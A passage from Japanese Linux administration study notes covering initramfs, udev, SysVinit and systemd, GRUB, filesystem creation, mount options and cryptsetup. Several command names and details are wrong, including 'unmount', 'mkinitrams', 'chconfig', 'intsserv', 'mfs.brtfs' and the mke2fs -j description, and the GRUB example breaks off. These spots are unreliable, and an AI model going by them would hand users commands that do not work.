  • initrd
    • 素のファイルシステムを圧縮したもの
    • gunzipmount -o loopでイメージの確認が可能
  • initramfs
    • cpioアーカイブをgzip圧縮したもの
    • gunzipcpioでイメージの確認が可能

initramfsはinitrdと比べてファイルシステムをドライバが不要、メモリ効率が優れているという特徴がある。 近年ではinitramfsが利用されている。またCentOSなどではDracutユーティリティ(dracut)を初期RAMディスク作成で使用する場合がある。

初期RAMディスクの作成はmkinitrdコマンド、mkinitramsコマンドが利用される。

mkinitrdコマンド

初期RAMディスクの作成コマンド。

mkinitrd RAMディスクイメージ カーネルバージョン

mkinitramsコマンド

初期RAMディスクの作成コマンド。 cpio アーカイブを利用した形式の場合はこちらを使う。

mkinitrams -o RAMディスクイメージ カーネルバージョン

dracutコマンド

初期RAMディスクの作成コマンド。

dracut 出力ファイル名 カーネルバージョン

2.5. カーネル管理と課題解決

2.5.1. /procの確認

/procカーネル内のデータへのインターフェイスとなるファイルシステムのこと。

lsdevコマンド

デバイスごとのDMA(/proc/dma),IRQ(/proc/interrupts),I/Oアドレス(/proc/ioports)を表示するコマンド。

lsdev

lspciコマンド

すべてのPCIバスと接続されているPCIデバイスに関する情報を表示するコマンド。

lspci [オプション]
オプション意味
-v詳細に情報表示
-vvさらに詳細に情報表示
-tツリー上に表示
-bカーネルではなくPCIバス認識に沿って表示

lsusbコマンド

接続されているUSBデバイスに関する情報の表示をするコマンド。

lsusb [オプション]
オプション意味
-v詳細に情報表示
-tツリー上に表示

2.5.2. デバイスファイル

デバイスファイルはデバイスを抽象化したファイル/dev以下に存在する。 デバイスファイルにはブロックデバイスキャラクタデバイスの2種類がある。 それぞれファイルタイプはbcとなる。

  • ブロックデバイス
    • バッファを持ちランダムアクセスが可能
    • ブロック単位でアクセス可能
    • ハードディスク、フロッピーディスク、RAMディスク、RAIDボリュームなど
  • キャラクタデバイス
    • ランダムアクセスが不可能なデバイス
    • キーボード、マウス、プリンタなど

なおカーネルが認識しているデバイスは/proc/devicesファイルで確認可能。

2.5.3. udev

udevはデバイスファイルを管理するための仕組み。 実際にはudevとsysfsが連携して管理するようになっている。 udevの仕組みは以下の通り。

  1. ハードウェアの接続をカーネルが検知
  2. udevデーモンが必要なデバイスファイルを作成する

このため認識している分のデバイスファイルしか作成されないということになる。 またデバイスファイル作成の際に参照される設定ファイルは/etc/udev/rules.dとなる。

/etc/udev/rules.dの書式

この設定ファイルの書式は以下の通り。

認識キー==値, 代入キー==

またsysfsがどのデバイスを扱うかはudevadm infoコマンドで確認可能

udevadm infoコマンド

sysfsがデバイスをどのように扱っている確認できるコマンド。

udevadm info [オプション]
オプション意味
-a指定したデバイスの上位デバイスについても表示する
-p デバイスsysfsより上のデバイスを指定
-n デバイス/dev以下のデバイスファイルを指定
-q 種類表示する情報の種類を指定(name, symlink, path, env, all)

udevadm monitorコマンド

デバイスの検知をモニタリングするコマンド。 カーネルのイベントを監視して、udevのルールやイベントの表示を行える。

udevmonitorコマンドでも可能。

udevadm monitor

14.2.3 - 3.システムの起動と管理

Linuxシステムの起動/動作に関する詳細

3.1. システムの起動のプロセスとカスタマイズ

3.1.1. ブートからカーネル起動まで

電源起動からシステム化起動するまで以下のようなフローとなる。

BIOS/UEFI => ブートローダ => カーネル

BIOS/UEFI

BIOS/UEFIはマザーボードに焼き付けられた基本的な制御プログラムで、基本的な入出力管理を行う。 重要な動作としては起動デバイスのマスターブートレコードに格納されたブートローダを実行することがある。

  • BIOSのブートプロセス … BIOS → MBRのブートローダ → カーネル → init
  • UEFIのブートプロセス … UEFI → ESP(のブートローダ) → カーネル → init

UEFI

UEFIは以下の要素から構成される。

要素説明
EFI System Partition (ESP)UEFIシステムにおける物理的なマシンを起動、ファームウエアが読み込まれた後の起動シーケンスで最初にアクセスされる領域/boot/efiにマウントされFAT16またはFAT32でフォーマットされている必要がある
UEFIブートマネージャ起動情報(OSをどこからどのようにロードするか)を管理するプログラム
efibootmgrUEFIブートマネージャーの起動エントリをOS上から操作するコマンド

MBR/GPT

BIOSでは起動デバイスの最初のセクタであるMBR(マスターブートレコード)でパーティションを管理する。 UEFIではGPTでパーティションを管理する。

GPTでは起動ドライブに2TB以上割り当てることができる特徴があり、またブートローダはESPに格納される。 UEFIシステムパーティションではFATまたはVFATでフォーマットされる。

ブートローダ

ブートローダはマスターブートレコードに格納されて部分(第1部分)とそこから呼び出される部分(第2部分)に分かれている。 動作としては第1部分が第2部分のブートローダをロードしそれを起動する。また第2部分のブートローダは指定したパーティションからカーネルをロードし制御を移す。

Linuxで使用されるブートローダにはGRUB LegacyGRUB2がある。

カーネル

カーネルはinit(/sbin/init)を起動するもので、その過程で以下処理を行う。

  • 組み込まれたハードウェアの検出
  • メモリの初期化
  • システムクロックの設定
  • IRQの設定
  • ルートパーティションのマウント

またカーネル起動中のメッセージはdmesgコマンドで確認可能。

3.1.2. SysVinitの概要

サービスが起動する仕組みはこれまでSysVinitが主流であったが、現在ではSystemdという仕組みが主流となっている。

SysVinit

SysVinitではLinuxシステムで最初に実行されるinit/etc/inittabに従いシステムに必要なサービスを順次起動するものであった。 initのPIDは1番となりすべてのプロセスはinitの子プロセス/孫プロセスとなる。 起動のプロセスは以下の通り。

  1. initが/etc/inittabを読み込む
  2. initが/etc/rc.sysinitを読み込む
  3. initが/etc/rcを実行する
  4. /etc/rc/etc/rcN.d(Nはランレベル)ディレクトリ以下のスクリプトを実行する

なお/etc/inittabの書式は以下の通り。

1:1245:respawn:/sbin/mingetty tty2
  • 1 … ID
  • 1245 … ランレベル
  • respawn … アクション指示子
  • /sbin/migetty tty2 … 処理

アクション指示子は以下の通り。

アクション指示子意味
bootシステム起動時に実行され、プロセスの終了を待たずに次の処理を実行
bootwaitシステム起動時に一度実行され、プロセスが終了するまで次の処理を行わない
ctrlaltdelCtrl,Alt,Deleteキーが同時に押されるSIGINTがinitに送られた場合に実行する
initdefaultデフォルトのランレベルを指定する
once指定したランレベルになったときに一度だけ実行され、プロセスの終了を待たずに次の処理を行う
respawnプロセスが終了すれば再起動させる
sysinitシステム起動時にbootやbootwaitより先に実行
wait指定したランレベルになった時に1度のみ実行し、プロセス終了まで次の処理はしない

3.1.3. 起動スクリプトとランレベル

起動されるスクリプトはランレベルごとに異なる。 ランレベルごとに用意されているサービスは/etc/rc[0-6].dで確認できる。

サービスの起動は以下の書式の通り。

/etc/init.d/[サービス名] [コマンド]

起動スクリプトの主なコマンドは以下の通り。

コマンド説明
startサービスの開始
stopサービスの停止
restartサービスの再起動
condrestartサービスが起動している場合のみ再起動
status情報を表示する

なお各ランレベルに応じたスクリプトは/etc/rc[0-6].dに入っており、以下のようなファイル名となる。

S55sshd
K15httpd

Sは起動、Kは終了を意味する。 数字は実行順序、残りはサービス名を表す。

なおK→Sの順で実行される。

デフォルトのランレベル

SysVinitを採用したシステムでは以下の方法でデフォルトランレベルの指定ができる。

  • /etc/inittab
  • ブートローダの設定ファイルでのカーネル起動時に渡すコマンドラインパラメータ

serviceコマンド

RedHat系OSやUbuntuでは/etc/init.d/の代わりにserviceコマンドを使用できる場合がある。 具体的にはRed Hat(6.xまで)系ディストリビューションで使用できる

service [サービス名] [コマンド]

LSB

LSB(Linux Standard Base)はLinuxの内部構造を標準化するプロジェクト。 LSBでは以下仕様が決められている。

  • コマンド/標準ライブラリ
  • ファイルシステム階層構造
  • 印刷システム
  • X Window System

確認は以下コマンドで可能。

lsb_release -a

3.1.4. サービスの自動起動

ランレベルごとにサービスをデフォルトで起動させるもしくはさせないようにするには以下のような手法がある。

  • 手動でリンクを作成する
  • chconfigコマンドでの設定
  • update-rc.dコマンドでの設定

手動でリンクを作成

手動でリンクを作成するには/etc/rc[0-6].d以下に、自動に起動させたいサービスのシンボリックリンクの作成することで設定ができる。

chkconfigコマンド

chkconfigコマンドはRed Hat系(6.xまで)ディストリビューションで使用できるコマンド。 サービスの自動起動を設定することができる。

chkconfig [オプション] [サービス名] [on | off]
オプション説明
–listサービスの自動起動設定をランレベルごとに表示する
–level レベルランレベルを指定する
–addサービスの追加登録をする
-delサービスを削除する

update-rc.dコマンド

update-rc.dコマンドはDebian系ディストリビューションで使用できるコマンド。 サービスの自動起動を設定することができる。

  • 自動起動設定を追加・削除できる
  • 優先順位を指定することができる

具体的にはランレベルごとにシンボリックリンクの作成/削除を行うことで実現する。

update-rc.d [オプション] [サービス名] remove
update-rc.d [オプション] [サービス名] [defaults] [NW | SNN kNN]
update-rc.d [オプション] [サービス名] start | stop NN ランレベル
オプション説明
-n表示するだけ何もしない
-f/etc/init.dにスクリプトがあっても強制的にシンボリックリンクを削除する
remove起動スクリプトのシンボリックリンクを削除する
defaultsデフォルトのスクリプトを作成する
start起動用のスクリプト(S)を作成する
stop停止用のスクリプト(K)を作成する
NN0~99の数字

intsservコマンド

intsservコマンドはSUSE系やVer6.0以降のDebian系のディストリビューションで使用できるコマンド。 サービスの自動起動を設定することができる。

insserv [オプション] [サービス名] # 自動起動設定
insserv -r [オプション] [サービス名] # 指定したサービスの自動起動を止める

3.1.5. systemdの概要

systemdの採用システムではinitプロセスの代わりにsystemdプロセスが起動しサービスを管理する。 systemdでは以下デーモンが連携して動作する。

プロセス説明
systemdメインプロセス
systemd-journalジャーナル管理プロセス
systemd-logindログイン処理プロセス
systemd-udevdデバイス動的検知プロセス

systemdではシステムの処理は多数のUnitという処理単位で別れる。 Unitはいくつか種類があり、以下のような種類がある。

種類説明
service各種サービスの起動
device各種デバイスを表す
mountファイルシステムをマウントする
swapスワップ領域を有効にする
target複数のUnitをグループ化する

systemdの特徴は起動順序関係やサービスの依存関係を処理できることがある。 そのためシステム起動速度もSysVinitより速くなる。

systemdの起動順序

systemdではシステムが起動するとdefault.targetというUnitが処理される。 これは/etc/systemd/system/以下にある。

デフォルトのターゲットにシンボリックリンクを作成することで、デフォルトの起動方法を設定できる。

# グラフィカルログインの起動構成の例
ln -sf /lib/systemd/system/graphical.target /etc/systemd/system/default.target
ランレベルターゲット
0poweroff.target
1rescue.target
2,3,4multi-user.target
5graphical.target
6reboot.target

systemdのディレクトリ

ディレクトリ説明優先順位
/usr/lib/systemd/system永続的なユニット・ターゲットの定義ファイルが置かれるディレクトリ-
/etc/systemd/systemカスタム用のディレクトリ優先度が高い
/run/systemd/system再起動されると削除される/usr/lib/systemd/systemより高い

systemctlコマンド

systemdでサービスを管理するコマンドがsystemctlコマンドとなる。

systemctl [サブコマンド] [Unit名] [-t 種類]
サブコマンド説明
startサービスを起動する
stopサービスを終了する
restartサービスを再起動する
reloadサービス設定の再読み込みをする
statusサービス稼働状況の確認
is-activeサービスが稼働状態か確認する
enableシステム起動時にサービスを自動起動する
disableシステム起動時にサービスを自動起動しない
list-units起動しているUnitを表示する
list-unit-filesすべてのUnitを表示する
list-dependencies指定したサービスが必要とするUnitを表示する
get-defaultデフォルトターゲットを確認
set-defaultデフォルトターゲットを設定する
isolate他のUnitを停止して対象のUnitを起動

systemd-deltaコマンド

systemd-deltaコマンドはデフォルトの定義ファイルを上書きしている場合などにどのファイルがどのように影響を受けているか確認できるコマンド。 同じファイル名のユニット、ターゲットの定義ファイルが複数あり、上図のディレクトリの優先度に基づいてファイルを上書きした場合などに使用する。

systemd-delta

Unit設定ファイル

Unit設定ファイルは/etc/systemd/systemディレクトリ以下に配置される。 Unit設定ファイルはUnitServiceInstallのセクションに分かれる。 ファイルの構成は以下例のようになる。

[Unit]
Descriptions=HogeHoge
After=syslog.target network.target
Conflicts=sendmail.service exim.service

[Service]
Type=forking
:

[Install]
WantedBy=multi-user.target

主なUnit設定ファイルのパラメータは以下の通り。

パラメータ説明
DescriptionUnitの説明
Documentationドキュメントの場所
Afterここに書かれたUnit以降に起動する
Beforeここに書かれたUnit以前に起動する
Wantsここに書かれたUnitが必要
Typeサービスのタイプ(simple, forking, oneshot, notify, dbus)
ExecStartPrestartでの実行前に実行するコマンド
ExecStartstartで実行するコマンド
ExecReloadreloadで実行するコマンド
ExecStopstopで実行するコマンド
WantedBysystemctl enable時に.wants以下にシンボリックリンクを作成
RequiredBysystemctl enable時に.required以下にシンボリックリンクを作成

systemdのログ

systemdを採用したシステム下ではjournalctlコマンドによりsystemdのログが確認可能。

journalctl [オプション]
オプション説明
-f末尾のログを表示し続ける
-n 行数指定した行数だけログの末尾を表示
-p [priolity]メッセージがpriority以上のものだけ表示
-rログを新しい順に表示
-u Unit名指定したUnitを表示
-fullプレーンテキストで表示
–no-pagerすべてのログを表示する

3.2. システムのリカバリ

システムがハードディスクから起動できなくなった場合は、インストールCD/DVD ROM内臓のレスキューモードで起動してシステムを修復する。 レスキューモードで起動すると、ハードディスクのルートファイルシステムは/mnt/sysimageにマウントされる。

この場合、一部コマンドが正常に動作しなくなるため、実行させるにはルートディレクトリを指定する必要がある。 なおレスキューモードの終了はexitで可能。

rpm -qf --root /mnt/sysimage

3.2.1. chrootコマンド

chrootコマンドはルートディレクトリを指定してコマンドを実行できたり、ルートディレクトリを変更できたりするコマンド。

chroot [ディレクトリ] [コマンド [引数]]

3.2.1. 壊れたGRUBを再インストールする例

# ルートディレクトリを指定する
chroot /mnt/sysimage

# 

3.3. ブートローダ

ブートローダはカーネルをディスク上から読み取りシステムを起動するためのプログラムのこと。 ブートローダでは以下のことが実現できる。

  • OSの切り替え
  • 複数バージョンのカーネルの使い分け

代表的なブートローダにはGRUBLILOがある。

3.3.1. GRUB

GRUB(GRand Unified Bootloader)は多くのディストリビューションで標準利用されているブートローダ。 以下のような特徴がある。

  • 多数のファイルシステムを認識可能
  • シェル機能を搭載しコマンドにより高度管理が可能

GRUBには昔から使われているGRUB Legacyと新たに設計し直されたGRUB 2がある。

3.3.2. Grub Legacy

Grub Legacyは昔から使われている古いタイプのGRUB。 Grub Legacyは3つのステージで構成される。

ステージ説明
1MBR内に配置されたステージ1,5または2をロードするプログラム
1.5ステージ2を見つけてロードするためのプログラム
2/boot/grubディレクトリ以下にあるGRUB本体

ブートローダとしてGRUBをインストールするにはgrub-install(grub2-install)コマンドを実行する。 またGRUB Legacyの設定ファイルは/boot/grub/menu.lstとなる。

/boot/grub/menu.lst

menu.lstの設定パラメータは以下の通り。

パラメータ説明
timeメニューを表示している時間(秒)
defaultデフォルトで起動するエントリ番号
splashimageメニュー表示時の背景画面
titleメニューに表示されるエントリ名
rootカーネルイメージ/OSが格納されたパーティションの指定
kernelカーネルイメージとカーネルオプションの指定
initrd初期RAMディスクファイルの指定
makeactiveルートパーティションをアクティブ化
chainloader指定されたセクタの読み込みと実行
hiddenmenu起動時の選択メニューを表示しない

grubコマンド

grubコマンドはGRUBシェルと呼ばれる対話型コマンド。

grub

grubシェルで利用できるコマンドは以下の通り。

3.3.3. GRUB2

GRUB2は最近のディストリビューションで採用されているGRUB。 設定ファイルの配置は以下の通り。

  • BIOS機 … /boot/grub/grub.cfg
  • UEFI搭載機 … /boot/efi/EFI/[ID]/crub.cfg

設定はファイルは直接変更せずに/etc/default/grubファイルでを用いて操作する。 grub-mkconfigコマンド(grub2-mkconfigコマンド)を使用してgrub.cfgを作成できる。

なお/etc/default/grubファイルの設定パラメータは以下の通り。

パラメータ説明
GRUB_DEFAULTデフォルトで起動するOS番号/タイトル
GRUB_HIDDEN_TIMEOUTメニューを表示せず待機する時間
GRUB_HIDDEN_TIMEOUT_QUIETtrueでメニュー表示なし、falseであり
GRUB_TIMEOUTデフォルトOS起動までの秒数
GRUB_CMDLINE_LINUX_DEFAULTブートオプション
GRUB_CMDLINE_LINUXカーネルに渡すオプション

3.3.4. 起動オプションの指定

ブートローダは起動時にカーネル/ブートローダのinitプログラムに渡すオプションパラメータを指定可能。 GRUBの場合はメニュー画面で「e」キーを押すとオプションパラメータを編集可能。

指定できるパラメータは以下の通り。

パラメータ説明
init=パス指定したパスのコマンドを初期プログラムとして指定
mem=nM物理メモリの指定
nosmpSMPマシンをシングルプロセッサとして動作させる
nohtHyperThreading機構の無効化
maxcpus=数利用するCPUの数を指定した数に制限
root=デバイスルートファイルシステムを指定する
read-only, roルートファイルシステムを読み取り専用でマウントする
single, sシングルユーザモードで起動する
数値指定したランレベルで起動する

GRUB Legacyの起動オプションの指定方法

GRUB Legacyの場合以下のようになる。

grub> kernel [カーネルイメージ] [オプション]

GRUB2の起動オプションの指定方法

GRUB2の場合以下のようになる。

grub> linux [カーネルイメージ] [オプション]

3.4. その他のブートローダ

3.4.1. SYSLINUX

SYSLINUXやISOLINUXはFATファイルシステムが一般的なUSBメモリやCD-ROMから直接起動指定利用するLiveCDに使用されるブートローダ。

SYSLINUXは起動ディスクやレスキューディスクのブートローダに使われている。 またSYSLINUXはいくつかのコンポーネントで構成される。

コンポーネント説明
SYSLINUXFATファイルシステムからカーネルを起動するプログラム
ISOLINUXISO9660ファイルシステムからカーネルを起動するプログラム
EXTLINUXext2/ext3/ext4ファイルシステムからカーネルを起動するプログラム
PXELINUXPXEを使ってネットワークブートするプログラム

Isohybrid

Isohybridと呼ばれるシステムはUSBスティックなどでISOLINUXイメージのMBRコードを使ったブートを可能にし、ブロックデバイスの動作を提供するもの。 MBRコードとしてSYSLINUXのMBRコードであるisohdpfx.binが使用される。

UEFIのツール

ツール名説明
efiboot.imgUEFIでISOLINUXを使ってブートする際に使われるイメージ。FAT16で作成されている
/EFI/BOOT/bootx64.efiUEFIのブートマネージャー。標準ではUEFI起動時に読み込まれる
Secure Boot署名の確認を行い、起動を制限する機能
shim.efiセキュアブート時に最初に読み込まれるUEFIアプリケーション
grubx64.efigrubを起動するUEFIアプリケーション

3.4.2. PXEブート

PXEはIntel社に策定されたネットワークブートの規格。 DHCPやBOOTPを使ってネットワーク情報を取得し、TFTPでブートプログラムをダウンロードして起動する。 特徴としては以下の通り。

  • インストールメディアなしでネットワークインストールを開始できる
  • ディスクレスクライアントを起動できる

PXEクライアントにはPXE準拠のネットワークインターフェイスが必要となる。 PXEブートサーバではDHCP、TFTPサーバが稼働している必要がある。

3.4.3. systemd-boot

systemd-bootはsystemdに組み込まれているブートローダ。 UEFIのみに対応している。

3.4.4. U-Boot

U-Bootは組み込み系で利用されるブートローダ。 PowerPC、ARM、MIPSなどのアーキテクチャに対応している。

14.2.4 - 4.デバイスとファイルシステム

Linuxのファイルなどに関して

4.1. ファイルシステムの操作

ファイルシステムはハードディスクやフロッピーディスクなどの記憶媒体にファイル保存し管理する仕組みのこと。 ファイルシステムはOSごとに異なる

VFS

VFS(仮想ファイルシステム)はファイルシステムとユーザプログラムの中間にありファイルシステムの差異を吸収する仕組み。 このシステムによりユーザプログラムはファイルシステムの違いを気にせずに統一して扱える。

4.1.1. ファイルシステムの情報

システムで利用するファイルシステムは/etc/fstabに記載される。 書式は以下の通り。

/dev/sda1 /boot ext2 default 0 2
# デバイスファイル名/ラベル マウントポイント ファイルシステムの種類 マウントオプション dumpコマンドの対象 ブート時にfsckがチェックする順序

デバイスファイル名はUUIDで識別されるケースもある。 またUUIDはblkidコマンドや/dev/disk/by-uuidファイルで確認可能。 UUIDの変更はtune2fsコマンド、作成はuuidgenコマンドで利用可能。

またファイルシステムの種類は以下の通り。

タイプ説明
ext2Linuxファイルシステムextの拡張したシステム
ext3ext2にジャーナリングシステムを追加したもの
ext4ext3の機能拡張をしたもの
ReiserFSLinux用のジャーナリングシステム
JFSIBMにより開発されたジャーナリングシステム
XFSSGIにより開発されたジャーナリングシステム
BtrfsLinux向け堅牢ファイルシステム
ISO9660CD-ROM向けのファイルシステム
UDFDVDのファイルシステム
F2FSSSDなどフラッシュメモリ向け
msdosMS-DOS向けファイルシステム
FAT/FAT32フラッシュメモリなどで使われる
NTFSwindows NT/2000向け
hpfsOS/2のファイルシステム
HFSMacOS向けのシステム
HFS+MacOS8.1以降
NFSネットワークファイルシステム
CIFSWindows2000以降
procfsプロセス情報を扱う仮想ファイルシステム
sysfsデバイス情報を扱う仮想ファイルシステム
tmpfs仮想メモリベースの仮想ファイルシステム
devpts疑似端末を制御するための仮想ファイルシステム
usbfsUSBデバイス監視用ファイルシステム
cramfs組み込みデバイス向けの圧縮ファイルシステム

マウントオプションは以下の通り。

オプション説明
asyncファイルシステムのすべての入出力を非同期で行う
syncファイルシステムのすべての入出力を同期で行う
atimeファイルへのアクセスごとにinodeのアクセス時刻を更新する
relatimeファイル更新/アクセスの一定時間後にアクセス時刻を更新する
noatimeinodeのアクセス時刻を更新しない(ディスクアクセス高速化)
auto-aオプションでmountコマンドを実行したときにマウントする
noauto-aオプションでmountコマンドを実行したときにマウントしない
defaultsデフォルト(async, auto, dev, exec, nouser, rw, suid)
devファイルシステム上のデバイスファイルを利用できる
groupユーザのグループがデバイスファイルの所有グループと一致すればマウント許可
execバイナリ実行の許可
noexecバイナリ実行の禁止
suidSUID, SGIDビットを有効化する
nosuidSUID,SGIDビットの無効化
ro読み出し専用のマウント
rw読み書きを許可してマウント
uid=UIDすべてのファイル所有者を指定したUIDのユーザにする
gid=GIDすべてのファイルの所有グループを指定したGIDのグループにする
user一般ユーザのマウントを許可、マウントしたユーザのみがアンマウントできる
users一般ユーザのマウントを許可、マウントしたユーザ以外もアンマウントができる
nouser一般ユーザのマウントを禁止
ownerデバイスファイルの所有者によりマウントを許可する

なおカーネルがサポートしているファイルシステムは/proc/filesystemsで確認が可能。

また現時点でどのファイルシステムがマウントされているか、またどのようなマウントオプションが使われているかは/etc/mtabで確認可能。 なお/etc/mtabは直接編集してはならない。間違って編集した場合は/proc/mountsを利用し復旧が可能。 また/proc/mountsにも同様の情報がある。

4.1.2. マウントとアンマウント

ファイルシステムを利用するためには任意のディレクトリにマウントポイントとしてマウントする必要がある。 ファイルシステムのマウントにはmountコマンドを使用する。

mountコマンド

ファイルシステムのマウント、マウントされたデバイスの確認ができるコマンド。

mount [オプション]

mount /dev/sda1 /data # /dataをマウントポイントとしてマウントする
オプション説明
-a/etc/fstabで指定されているファイルシステムをマウントする
-f/etc/mtabの情報を書き換えるだけでマウントなし
-o オプションマウントオプションの指定(remount: 再マウント, noexec:バイナリ実行の不許可, nosuid:SUID,SGIDの無視, loop: イメージファイルのマウント)
-n/etc/mtabのマウント情報を書き込まない
-r読み取り専用でマウントする
-t タイプファイルシステムの種類を指定する
-w読み書き可能でマウントする

unmountコマンド

ファイルシステムをアンマウントするコマンド。

unmount [オプション] [デバイスファイル名/マウントポイント]
オプション説明
-a/etc/mtabで指定されているシステムすべてアンマウントする
-t タイプ指定した種類のファイルシステムをアンマウントする

fuserコマンド

指定のファイルを利用しているプロセスの一覧を得たり、そのプロセスをまとめて kill したりするために利用できるコマンド。 具体的にはどのプロセスがそのファイルシステムを利用中なのかも調べられる。

fuser

4.1.3. ファイルの書き込み動作

ファイルに書き込み処理をしてもすぐには書き込まれず、メモリ上のディスクバッファ領域に書き込まれる。 これはディスクアクセスがメモリアクセスに比べて格段に遅いためである。 そのためデータをまとめてディスクに書き込むことでパフォーマンスを向上させる。

syncコマンド

ディスクバッファ領域にあるデータをディスクに書き込むコマンド。

sync

キャッシュの種類

キャッシュにはいくつか種類があり、代表的なものにはバッファキャッシュページキャッシュがある。

種類説明
バッファキャッシュディスク書き込み終了時にディスクバッファのデータを保存することで、再読出しの際に高速化する
ページキャッシュページ単位で管理されているメモリ上の情報を保持しておくタイプのキャッシュ

4.1.4. スワップ領域

スワップ領域はブロックデバイス上の仮想的なメモリ領域のこと。 スワップ領域はシステム構成時に作成するが、後から作成も可能でmkswapコマンドでできる。

mkswapコマンド

スワップ領域を作成するコマンド。

mkswap [オプション] [デバイスファイル名/ファイル名]
オプション説明
-cスワップ作成前に不良ブロックのチェックを行う
-L ラベルラベルの作成

swaponコマンド

スワップ領域を有効にするコマンド。

swapon [オプション] [デバイスファイル名/ファイル名]
オプション説明
-a/etc/fstab内のスワップ領域すべての有効化
-sスワップ領域を表示する

swapoffコマンド

スワップ領域を無効にするコマンド

swapoff [オプション] [デバイスファイル名/ファイル名]
オプション説明
-a/etc/fstab内のスワップ領域すべての無効化

4.2. ファイルシステムの作成

4.2.1. ext2~ext4ファイルシステムの作成

ext2/ext3/ext4のファイルシステムの作成はmke2fsコマンドで可能。

mke2fs [オプション] デバイスファイル
オプション説明
-b サイズブロックサイズをバイト単位で指定する
-cファイルシステム作成前に不良ブロックのチェックを行う
-i サイズinodeあたりのバイト数を指定
-jrootユーザ用の予約領域を%指定する
-m 領域%rootユーザ用の予約領域を%で指定する
-nパラメータ確認
-t タイプファイルシステムのタイプを指定(ext2~ext4)

なおデフォルト値は/etc/mke2fs.confで指定可能。

使用例

ブロックサイズを2048Byte、不良ブロックのチェックを行い、/dec/sda1にext3ファイルシステムを作成する例

mke2fs -b 2048 -c -j /dev/sda1

ブロックサイズは平均低ファイルサイズが小さい場合は小さく、大きい場合は大きく設定する。 またinode1つ当たりのByte数は平均低名ファイルサイズを基準にしそれを超えないようにする。

ext3ファイルシステムの書き込みフロー

  1. 書き込み操作の発生
  2. メタデータ(inode番号など)の更新内容をログへ書き込み
  3. データとメタデータをディスクに書き込む
  4. ディスク書き込み後に該当ログを破棄する

ext4ファイルシステムの作成

ext4ファイルシステムの作成にはmkfs.ext4コマンドを使用する。 またext4システムはext3ファイルシステムと互換性がある。

変換例は以下の通り。

tune2fs -O extend,uninit_bg,dir_index /dev/sda4
e2fsck /dev/sda4 #  整合性の確認

ジャーナリングモード

ext3/ext4には3つのモードのジャーナリングモードがある。

種類説明
journalメインファイルシステムより前にすべてのデータがジャーナルに記録される
orderedメタデータがジャーナルに記録される前に、すべてのデータをメインファイルシステムに直接書き出す(デフォルトの設定)
writebackメタデータがジャーナルに記録された後に、すべてのデータをメインファイルシステムに上書きする

writebackはファイルシステムの完全性が保持されるが、クラッシュ後のリカバリでファイル内容が元に戻ることがある。

4.2.2. XFSファイルシステムの作成

XFSはSGI社が開発した堅固な高速なジャーナリングファイルシステムのこと。 最大ボリュームサイズ/最大ファイルサイズは8EBとなっている。

カーネルがxfsに対応しているかは以下のように確認可能。

modprobe xfs
grep xfs /proc/filesystems

mkfs.xfsコマンド

XFSのファイルシステムを作成するコマンド。

mkfs.xfs /dev/sda1

4.2.3. Btrfsファイルシステムの作成

BtrfsはLinux向けのファイルシステム、耐障害性に優れている。 特徴は以下の通り。

  • 最大16EiBのファイルサイズに対応
  • コピーオンライト
  • ディスク領域の効率的利用
  • inodeの動的割り当て
  • ストレージプールの対応
  • スナップショット機能
  • チェックサムによる完全性保証
  • 効率的な増分バックアップ

mfs.brtfsコマンド

Btrfsのファイルシステムを作成するコマンド。

mkfs.btrfs /dev/sdb1

4.2.4. mkfsコマンドによるファイルシステムの作成

mkfsコマンドはファイルシステムの作成などができるフロントエンドプログラム。

mkfs -t ext3 /dev/sdc1

対応しているファイルシステムは以下の通り。 ext2~ext4,XFS,Brtfs,cramfs,FAT/VFAT,MINXFS

オプション説明
-t タイプファイルシステムの種類を指定
-c不良ブロックのチェック
-V詳細情報の表示

4.2.5. CD/DVDの作成

LinuxでCD/DVDへ書き込みを行い場合の手順は以下の通り。

  1. CD-R/DVD-Rへ書き込むデータのファイルイメージの作成
  2. 作成したイメージファイルをライティングソフトで書きこむ

CD-ROMのファイルシステムはISO9660となる。 ファイルシステムはmkisofsコマンドで作成を行う。

mkisofs [オプション] ディレクトリ名
オプション説明
-bブータブルCDにする
-o ファイル名ISO9660/UEFIイメージの指定
-Jjolietフォーマット
-R,-rRockRidgeフォーマット
-TRockRidgeフォーマットが使えないファイルシステムで正しいファイル名を維持する
-udfDVDなどで用いられるUDFイメージの作成

jolietとRockridge

ISO9660ではファイル名は「8文字+.+3文字」構成(8.3形式)となる。 RockRidgeフォーマットはロングネームでもファイル名が対応できるように拡張したものでUnixOSで使用される。 Jolietフォーマットは最大64文字のファイル名に対応しているMicrosoftが開発したISO9660上位互換規格である。

4.2.6. 暗号化ファイルシステムの作成

ディスクやファイルの暗号化を行うことができる。 ディスクやファイルの暗号化は大きく分けて以下の種類がある。

  • ブロックデバイス(パーティション、ファイルシステムを含む)に対する暗号化
  • 個別のファイルに対する暗号化

ファイル自体を個別に暗号化する暗号化手法にはEncfs、eCryptfsなどがある。

dm-cryptによる暗号化

dm-cryptはカーネルの仕組みの1つ。 dm-cryptによる暗号化はブロックデバイスの暗号化機能を提供する。

dm-cryptはdevice-mapperを利用して、ブロックデバイス(物理デバイス)へのアクセス時に暗号化が行われるよう暗号化マッピングを行う。 またdevice-mapperは論理デバイスを/dev/mapper配下に作成し、物理デバイスと論理デバイス間のマッピングを行う。

暗号化にはcryptsetupコマンドを使用する。

なお暗号化のためには以下パッケージが必要。

  • RHell系ではcryptsetup-luks
  • Debian系ではcryptsetup

cryptsetupコマンド

ブロックデバイスを暗号化するコマンド。 入力されたパスフレーズをもとに暗号化する(覚えておく必要あり)

cryptsetup create 名前 デバイスファイル名 # ファイルシステムの暗号化
cryptsetup remove 名前 # 次回使用時に暗号化を解く
cryptsetup status 名前 

cryptsetup luksDump デバイスファイル名 # 暗号化の状態を表示
cryptsetup luksFormat デバイスファイル名 # 指定したデバイスを暗号化パーティションとして初期化
cryptsetup luksOpen デバイスファイル名 名前 # LuKSパーティションを名称を指定し開く
cryptsetup luksClose デバイスファイル名 # LUKSパーティションを閉じる

暗号化してマウントする手順は以下の通り

  1. cryptsetup create 名前 デバイスファイル名で暗号化
  2. /dev/mapper/名前にデバイスファイルが作成される
  3. 上記デバイスファイルにファイルシステムを作成(mkfs.ext4 /dev/mapper/名前など)
  4. マウントポイントの作成(mkdir /mnt/名前)、そしてマウントを行う(mount /dev/mapper/名前 /mnt/名前)

アンマウントして暗号化を削除する手順は以下の通り。

  1. unmount /dev/mapper/名前
  2. cryptsetup remove 名前

LUKS

